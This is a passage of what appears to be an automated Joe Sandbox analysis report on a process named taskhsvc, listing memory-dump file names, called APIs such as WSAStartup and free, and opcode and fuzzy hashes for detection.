                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort$free
                                                                                                                          • String ID: 0.
                                                                                                                          • API String ID: 1721009914-1407024461
                                                                                                                          • Opcode ID: 1403fde9b5d1672e23769bbb222e709c99797388371c656d92fb513dbe4b2f3e
                                                                                                                          • Instruction ID: b88b2b2bc37c82707483dfe8980b3cb557088f8bd689de39c116edbcfcd1eb07
                                                                                                                          • Opcode Fuzzy Hash: 1403fde9b5d1672e23769bbb222e709c99797388371c656d92fb513dbe4b2f3e
                                                                                                                          • Instruction Fuzzy Hash: B63197B4A0870ACFCB00EFA9C585AAEBBF0FF48304F118859E594A7351D7749984DF62
                                                                                                                          Function 00C43C99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C43D3D
                                                                                                                            • Part of subcall function 00D486E9: __stack_chk_fail.LIBSSP-0 ref: 00D48789
                                                                                                                            • Part of subcall function 00D37D3D: free.MSVCRT ref: 00D37D98
                                                                                                                            • Part of subcall function 00D37D3D: __stack_chk_fail.LIBSSP-0 ref: 00D37DAB
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • free.MSVCRT ref: 00C43D25
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$free
                                                                                                                          • String ID: @b
                                                                                                                          • API String ID: 2817809126-2077063687
                                                                                                                          • Opcode ID: 2730a0d324f7e14aebfd699690b28fd53f9d0000bbddb648a01bdd7fa7c60c12
                                                                                                                          • Instruction ID: cd2ffbd9b091a0f00089de4e61cd687b15d6c56b496a86d7288c366965e412f4
                                                                                                                          • Opcode Fuzzy Hash: 2730a0d324f7e14aebfd699690b28fd53f9d0000bbddb648a01bdd7fa7c60c12
                                                                                                                          • Instruction Fuzzy Hash: EB1172B490435A9FDB00EFA9D4456AEBBF0BF48344F419829E8A4EB340D7789A45CF61
                                                                                                                          Function 00CA7868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CA7904
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00CA78D8
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: n
                                                                                                                          • API String ID: 1190921433-2013832146
                                                                                                                          • Opcode ID: c37f67bf3f698042cf3dfba1276c6c113b0a0c5ca8d5d3f4555291445a55ce6f
                                                                                                                          • Instruction ID: 5c87b5feedaa88b22ae70b0f50697a4bdd0c810e2cd0890549abc8b79069989d
                                                                                                                          • Opcode Fuzzy Hash: c37f67bf3f698042cf3dfba1276c6c113b0a0c5ca8d5d3f4555291445a55ce6f
                                                                                                                          • Instruction Fuzzy Hash: 7001E5B0908306EFC700EF64D54665EBBF0AF85358F01D91DA4A8AB241D7B898818F62
                                                                                                                          Function 00D39204 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31networkCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • WSAStartup.WS2_32 ref: 00D3922D
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D39286
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$Startup
                                                                                                                          • String ID: H
                                                                                                                          • API String ID: 3981666929-69643886
                                                                                                                          • Opcode ID: 4cff6c9b1f864de7049a5788bf44195c8f38aa6998cbaabf8e5e38a5458c65f6
                                                                                                                          • Instruction ID: d43758275a3c71ac9a721e32fb21c1fb63a7abe4a1f239c0a7830d6bfd4d3b62
                                                                                                                          • Opcode Fuzzy Hash: 4cff6c9b1f864de7049a5788bf44195c8f38aa6998cbaabf8e5e38a5458c65f6
                                                                                                                          • Instruction Fuzzy Hash: D9018C74A04604DFDB10EF68C94178EBBF0BB49304F408A69F598AB280D3B49D44CF96
                                                                                                                          Function 00C0AEF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
